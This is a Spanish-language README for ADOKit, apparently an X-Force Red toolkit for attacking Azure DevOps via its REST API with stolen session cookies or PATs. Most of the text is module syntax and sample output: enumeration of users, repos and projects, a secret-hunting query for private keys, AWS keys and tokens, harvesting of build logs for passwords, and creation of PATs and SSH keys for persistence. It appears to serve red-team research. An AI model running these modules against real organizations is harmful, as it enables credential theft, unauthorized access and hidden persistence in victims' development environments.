
Kit de ataque modular que explota la API REST de Azure DevOps para reconocimiento, escalada de privilegios y persistencia utilizando cookies robadas o PATs.
Azure DevOps Services Attack Toolkit - ADOKit es un conjunto de herramientas que se puede utilizar para atacar servicios de Azure DevOps aprovechando la API REST disponible. La herramienta permite al usuario especificar un módulo de ataque, junto con credenciales válidas (clave API o cookie de autenticación robada) para la instancia correspondiente de Azure DevOps Services. Los módulos de ataque compatibles incluyen reconocimiento, escalada de privilegios y persistencia. ADOKit se construyó con un enfoque modular, de modo que nuevos módulos puedan ser añadidos en el futuro por la comunidad de seguridad de la información.
Los detalles completos sobre las técnicas utilizadas por ADOKit se encuentran en el whitepaper de X-Force Red.
Las diapositivas de presentación y las demostraciones se incluyen en la carpeta BHUSA Arsenal 2024 de este repositorio.
Las siguientes bibliotecas de terceros se utilizan en este proyecto.
| Library | URL | License |
|---|---|---|
| Fody | https://github.com/Fody/Fody | MIT License |
| Newtonsoft.Json | https://github.com/JamesNK/Newtonsoft.Json | MIT License |
Siga los pasos a continuación para configurar Visual Studio y compilar el proyecto usted mismo. Esto requiere dos bibliotecas .NET que se pueden instalar desde el administrador de paquetes NuGet.
https://api.nuget.org/v3/index.jsonInstall-Package Costura.Fody -Version 3.3.3Install-Package Newtonsoft.Json"pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password"A continuación se presentan las opciones de autenticación disponibles con ADOKit al autenticarse en una instancia de Azure DevOps.
UserAuthentication en la máquina de un usuario para el dominio .dev.azure.com.
/credential:UserAuthentication=ABC123AadAuthentication en la máquina de un usuario para el dominio .dev.azure.com.
/credential:eyJ0.../credential:apiToken"aud":"https://management.core.windows.net/" o Azure Devops - "aud":"499b84ac-1321-427f-aa17-267ca6975798"
/credential:eyJ0..La siguiente tabla muestra los permisos requeridos para cada módulo.
Realizar una verificación de autenticación para asegurar que la organización utiliza Azure DevOps y que las credenciales proporcionadas son válidas.
Proporcione el módulo check, junto con cualquier información de autenticación relevante y la URL. Esto mostrará si la organización proporcionada utiliza Azure DevOps y, de ser así, intentará validar las credenciales proporcionadas.
ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe check /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe check /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: check Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking if organization provided uses Azure DevOps
[+] SUCCESS: Organization provided exists in Azure DevOps
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
3/28/23 19:33:02 Finished execution of check
### Whoami
#### Caso de Uso
> *Obtener el usuario actual y las membresías de grupo del usuario*
#### Sintaxis
Proporcione el módulo `whoami`, junto con cualquier información de autenticación relevante y URL. Esto mostrará el usuario actual y todas sus membresías de grupo.
`ADOKit.exe whoami /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Salida de Ejemplo```
C:\>ADOKit.exe whoami /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization
==================================================
Module: whoami
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 11:33:12 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
jsmith | John Smith | [email protected]
[*] INFO: Listing group memberships for the current user
Group UPN | Display Name | Description
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection.
[TestProject2]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
4/4/23 15:33:19 Finished execution of whoami
Recuperar organizaciones usando un token de acceso determinado.
Proporcione al módulo listorgs la información de autenticación requerida. De forma predeterminada, este comando enumera solo las organizaciones accesibles con el token de acceso proporcionado.
/mode:aad para enumerar todas las organizaciones de DevOps dentro del inquilino de Azure AD, independientemente del acceso directo./endpoint:ENDPOINT_NAME para especificar un endpoint AEX personalizado.
"X-VSS-DeploymentAffinity" de aex.dev.azure.com.ADOKit.exe listorgs /credential:"eyj0..." [/mode:aad] [/endpoint:ENDPOINT_NAME]
ADOKit.exe listorgs /credential:"eyj0..." /mode:aad /endpoint:aexprodeus21
C:>ADOKit.exe listorgs /credential:"eyj0..."
================================================== Module: listorgs Auth Type: Azure Access Token Target URL: https://app.vssps.visualstudio.com
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Organization ID | Organization Name
390a7474-e2f2-4b98-b538-4a547fa9f5e3 | solar-devops
b63b999f-43f2-48c5-998d-b31cbf4c2f8e | lunar-devops
### Listar Repositorios
#### Caso de Uso
> *Descubrir repositorios que se están utilizando en la instancia de Azure DevOps*
#### Sintaxis
Proporcione el módulo `listrepo`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre del repositorio y su URL.
`ADOKit.exe listrepo /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Ejemplo de Salida```
C:\>ADOKit.exe listrepo /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listrepo
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 8:41:50 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
-----------------------------------------------------------------------------------
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
MaraudersMap | https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap
SomeOtherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/SomeOtherRepo
AnotherRepo | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo
ProjectWithMultipleRepos | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/ProjectWithMultipleRepos
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 12:41:53 Finished execution of listrepo
Buscar repositorios por nombre de repositorio en instancia de Azure DevOps
Proporcione el módulo searchrepo y sus criterios de búsqueda en el argumento de línea de comandos /search:, junto con cualquier información de autenticación relevante y URL. Esto generará el nombre y la URL del repositorio coincidente.
ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchrepo /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:>ADOKit.exe searchrepo /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchrepo Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | URL
TestProject2 | https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2
TestProject | https://dev.azure.com/YourOrganization/TestProject/_git/TestProject
3/29/23 13:26:59 Finished execution of searchrepo
### Listar Proyectos
#### Caso de uso
> *Descubrir proyectos que se están utilizando en la instancia de Azure DevOps*
#### Sintaxis
Proporcione el módulo `listproject`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre del proyecto, la visibilidad (pública o privada) y la URL.
`ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Ejemplo de salida```
C:\>ADOKit.exe listproject /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listproject
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 7:44:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
-----------------------------------------------------------------------------------------------------
TestProject2 | private | https://dev.azure.com/YourOrganization/TestProject2
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
ProjectWithMultipleRepos | private | https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos
TestProject | private | https://dev.azure.com/YourOrganization/TestProject
4/4/23 11:45:04 Finished execution of listproject
Buscar proyectos por nombre en la instancia de Azure DevOps
Proporcione el módulo searchproject y su criterio de búsqueda en el argumento de línea de comandos /search:, junto con cualquier información de autenticación y URL relevante. Esto mostrará el nombre del proyecto coincidente, la visibilidad (pública o privada) y la URL.
ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/organizationName /search:cred
ADOKit.exe searchproject /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:cred
C:>ADOKit.exe searchproject /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"map"
================================================== Module: searchproject Auth Type: API Key Search Term: map Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Name | Visibility | URL
MaraudersMap | private | https://dev.azure.com/YourOrganization/MaraudersMap
4/4/23 11:45:31 Finished execution of searchproject
### Buscar Código
#### Caso de Uso
> *Buscar código que contenga una palabra clave determinada en una instancia de Azure DevOps*
#### Sintaxis
Proporcione el módulo `searchcode` y su criterio de búsqueda en el argumento de línea de comando `/search:`, junto con cualquier información de autenticación relevante y la URL. Esto generará la URL al archivo de código coincidente, junto con la línea del código que coincidió.
`ADOKit.exe searchcode /credential:apiKey /url:https://dev.azure.com/organizationName /search:password`
`ADOKit.exe searchcode /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:password`
#### Ejemplo de Salida```
C:\>ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"password"
==================================================
Module: searchcode
Auth Type: Cookie
Search Term: password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/29/2023 3:22:21 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[*] Match count : 3
3/29/23 19:22:22 Finished execution of searchcode
Buscar archivos en repositorios que contengan una palabra clave específica en el nombre del archivo en Azure DevOps
Proporcione el módulo searchfile y sus criterios de búsqueda en el argumento de línea de comandos /search:, junto con cualquier información de autenticación relevante y la URL. Esto generará la URL del archivo coincidente en su repositorio correspondiente.
ADOKit.exe searchfile /credential:apiKey /url:https://dev.azure.com/organizationName /search:azure-pipeline
ADOKit.exe searchfile /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:azure-pipeline
C:>ADOKit.exe searchfile /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"test"
================================================== Module: searchfile Auth Type: Cookie Search Term: test Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
File URL
https://dev.azure.com/YourOrganization/MaraudersMap/_git/4f159a8e-5425-4cb5-8d98-31e8ac86c4fa?path=/Test.cs https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/c1ba578c-1ce1-46ab-8827-f245f54934e9?path=/Test.cs https://dev.azure.com/YourOrganization/TestProject/_git/fbcf0d6d-3973-4565-b641-3b1b897cfa86?path=/test.cs
3/29/23 15:28:37 Finished execution of searchfile
### Búsqueda de credenciales
#### Caso de uso
> *Buscar código que contenga secretos como contraseñas o claves API en Azure DevOps*
#### Sintaxis
Proporcione el módulo `creds`, junto con cualquier información de autenticación relevante y la URL. Esto generará la URL del archivo coincidente en su respectivo repositorio, y la(s) línea(s) coincidente(s) donde están presentes las credenciales.
`ADOKit.exe creds /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe creds /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Ejemplo de salida```
C:\>ADOKit.exe creds /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: creds
Auth Type: Cookie
Search Term: pw OR pwd OR passwrod OR password OR \"-----BEGIN PGP PRIVATE KEY BLOCK-----\" OR \"-----BEGIN EC PRIVATE KEY-----\" OR \"-----BEGIN DSA PRIVATE KEY-----\" OR \"-----BEGIN OPENSSH PRIVATE KEY-----\" OR \"-----BEGIN RSA PRIVATE KEY-----\" OR ANSIBLE_VAULT OR AWS_ACCESS_KEY_ID OR AWS_SECRET_ACCESS_KEY OR ACCESS_TOKEN OR API_KEY OR Authorization OR db_password
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/30/2023 10:17:49 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ Console.WriteLine("PassWord");
|_ this is some text that has a password in it
[>] URL: https://dev.azure.com/YourOrganization/MaraudersMap/_git/MaraudersMap?path=/Test.cs
|_ API_KEY=ABC123
[>] URL: https://dev.azure.com/YourOrganization/TestProject2/_git/TestProject2?path=/Program.cs
|_ Console.WriteLine("PaSsWoRd");
[>] URL: https://dev.azure.com/YourOrganization/ProjectWithMultipleRepos/_git/AnotherRepo?path=/config.yaml
|_ Password: ItIsSuperSecret!
[*] Match count : 5
3/30/23 14:17:54 Finished execution of creds
Descargue los registros de todas las ejecuciones de canalización (registros de compilación). Luego podrá buscar información y/o secretos sin conexión.
Proporcione el módulo getbuildlogs junto con /project: para un proyecto específico con el fin de descargar todos los registros de compilación de ese proyecto. Si desea descargarlos para todos los proyectos, especifique all en el argumento /project:. Esto creará una carpeta con el nombre ADOKit-[8 caracteres aleatorios] en su directorio de trabajo actual para descargar los registros.
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"
ADOKit.exe getbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"
C:>ADOKit.exe getbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
================================================== Module: getbuildlogs Auth Type: API Key Project: TestProject2 Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Downloading build logs to: C:\path\ADOKit-MWPsicSZ
[+] SUCCESS: Build log files downloaded to: C:\path\ADOKit-MWPsicSZ
### Listar Registros de Compilación
#### Caso de Uso
> *Lista los registros de compilación disponibles para un proyecto específico o para todos los proyectos.*
#### Sintaxis
Proporcione el módulo `listbuildlogs` junto con un `/project:` para un proyecto específico para listar todos los registros de compilación de ese proyecto. Si desea listarlos para todos los proyectos, especifique `all` en el argumento `/project:`.
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"someProject"`
`ADOKit.exe listbuildlogs /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/organizationName /project:"all"`
#### Salida de Ejemplo```
C:\>ADOKit.exe listbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:TestProject2
==================================================
Module: listbuildlogs
Auth Type: API Key
Project: TestProject2
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 8:14:57 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Build ID | Build Name | Num Logs | URL
-------------------------------------------------------------------------------------------------------------
94 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/94
92 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/92
64 | TestProject2 | 10 | https://dev.azure.com/YourOrganization/8f555d6f-88d2-414a-a9e9-55b1aef12173/_apis/build/Builds/64
Buscar registros de compilación que contengan una palabra clave determinada en una instancia de Azure DevOps
Proporcione el módulo searchbuildlogs y sus criterios de búsqueda en el argumento de línea de comandos /search:, junto con un /project: para un proyecto determinado, a fin de buscar todos los registros de compilación de este proyecto. Si desea buscar registros de compilación para todos los proyectos, especifique all en el argumento /project:. Esto generará la URL al archivo de registro de salida de compilación coincidente, junto con la línea del registro de compilación que coincidió.
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"projName" /search:"password"
ADOKit.exe searchbuildlogs /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"all" /search:"password"
C:>ADOKit.exe searchbuildlogs /credential:apiKey /url:https://dev.azure.com/YourOrganization /project:MaraudersMap /search:"password"
================================================== Module: searchbuildlogs Auth Type: API Key Search Term: password Project: MaraudersMap Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Searching build logs
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/1 [>] Project: MaraudersMap |_ python blah.py $(secret-password-here)
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/7 [>] Project: MaraudersMap |_ 2023-04-21T14:36:48.8967630Z Downloading secret value for: secret-password-here.
[>] URL: https://dev.azure.com/YourOrganization/ee8c003f-94e1-40a7-8d97-0192dcf1b87a/_apis/build/builds/95/logs/8 [>] Project: MaraudersMap |_ 2023-04-21T14:36:50.1585893Z Password1
-----------SNIP-----------
[*] Match count : 9
### Crear PAT
#### Caso de uso
> *Crear un token de acceso personal (PAT) para un usuario que pueda ser utilizado para persistencia en una instancia de Azure DevOps.*
#### Sintaxis
Proporcione el módulo `createpat`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el ID del PAT, nombre, alcance, fecha de validez y contenido del token del PAT creado. El nombre del PAT creado será `ADOKit-` seguido de una cadena aleatoria de 8 caracteres. La fecha de validez del PAT será 1 año a partir de la fecha de creación, ya que es el máximo permitido por Azure DevOps.
`ADOKit.exe createpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Ejemplo de salida```
C:\>ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: createpat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:09 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until | Token Value
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM | tokenValueWouldBeHere
3/31/23 18:33:10 Finished execution of createpat
Lista todos los tokens de acceso personal (PATs) para un usuario determinado en una instancia de Azure DevOps.
Proporcione el módulo listpat, junto con cualquier información de autenticación relevante y la URL. Esto generará el ID del PAT, nombre, alcance y fecha de validez de todos los PAT activos para el usuario.
ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM
3/31/23 18:33:18 Finished execution of listpat
### Eliminar PAT
#### Caso de Uso
> *Eliminar un PAT para un usuario determinado en una instancia de Azure DevOps.*
#### Sintaxis
Proporcione el módulo `removepat`, junto con cualquier información de autenticación relevante y la URL. Adicionalmente, proporcione el ID del PAT en el argumento `/id:`. Esto mostrará si el PAT fue eliminado o no, y luego listará los PAT activos actuales para el usuario después de realizar la eliminación.
`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`
`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`
#### Ejemplo de Salida```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298
==================================================
Module: removepat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:04:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.
PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
4/3/23 15:05:00 Finished execution of removepat
Crear una clave SSH para un usuario que pueda usarse para persistencia en una instancia de Azure DevOps.
Proporcione el módulo createsshkey, junto con cualquier información de autenticación relevante y la URL. Además, proporcione su clave SSH pública en el argumento /sshkey:. Esto mostrará el ID de la clave SSH, nombre, ámbito, fecha de validez y los últimos 20 caracteres de la clave SSH pública para la clave SSH creada. El nombre de la clave SSH creada será ADOKit- seguido de una cadena aleatoria de 8 caracteres. La fecha de validez de la clave SSH será 1 año a partir de la fecha de creación, ya que es el máximo que permite Azure DevOps.
ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"
C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"
================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 | ADOKit-iCBfYfFR | app_token | 4/3/2024 12:00:00 AM | ...hOLNYMk5LkbLRMG36RE=
4/3/23 18:51:24 Finished execution of createsshkey
### Listar Claves SSH
#### Caso de Uso
> *Listar todas las claves SSH públicas de un usuario determinado en una instancia de Azure DevOps.*
#### Sintaxis
Proporcione el módulo `listsshkey`, junto con cualquier información de autenticación relevante y la URL. Esto generará el ID de clave SSH, nombre, ámbito y fecha de validez de todas las claves SSH activas para el usuario. Además, imprimirá los últimos 20 caracteres de la clave SSH pública.
`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Ejemplo de Salida```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:37:10 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 15:37:11 Finished execution of listsshkey
Eliminar una clave SSH para un usuario determinado en una instancia de Azure DevOps.
Proporcione el módulo removesshkey, junto con cualquier información de autenticación relevante y la URL. Además, proporcione el ID de la clave SSH en el argumento /id:. Esto mostrará si la clave SSH fue eliminada o no, y luego listará las claves SSH activas actuales del usuario después de realizar la eliminación.
ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...
ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...
C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97
================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 17:50:09 Finished execution of removesshkey
### Listar Usuarios
#### Caso de Uso
> *Listar usuarios dentro de una instancia de Azure DevOps*
#### Sintaxis
Proporcione el módulo `listuser`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre de usuario, el nombre para mostrar y el nombre principal de usuario.
`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Ejemplo de Salida```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:07 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | [email protected]
jsmith | John Smith | [email protected]
rsmith | Ron Smith | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:08 Finished execution of listuser
Buscar uno o varios usuarios en una instancia de Azure DevOps
Proporcione el módulo searchuser y sus criterios de búsqueda en el argumento de línea de comandos /search:, junto con cualquier información de autenticación y URL relevante. Esto devolverá el nombre de usuario coincidente, el nombre para mostrar y el nombre principal de usuario.
ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user
ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user
C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"
================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
user1 | User 1 | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:24 Finished execution of searchuser
### Listar Equipos
#### Caso de Uso
> *Listar equipos dentro de una instancia de Azure DevOps*
#### Sintaxis
Proporcione el módulo `listteam`, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre del equipo, el nombre del proyecto y la descripción del equipo.
`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Ejemplo de Salida```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listteam
Auth Type: API Key
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:48:26 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
----------------------------------------------------------------------------------------------------------------------------------------
ProjectWithMultipleRepos Team | ProjectWithMultipleRepos | The default project team.
MaraudersMap Team | MaraudersMap | The default project team.
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
Buscar equipo(s) específicos en una instancia de Azure DevOps
Proporcione el módulo searchteam y sus criterios de búsqueda en el argumento de línea de comandos /search:, junto con cualquier información de autenticación relevante y la URL. Esto mostrará el nombre del equipo, el nombre del proyecto y la descripción del equipo.
ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam
ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam
C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test
================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
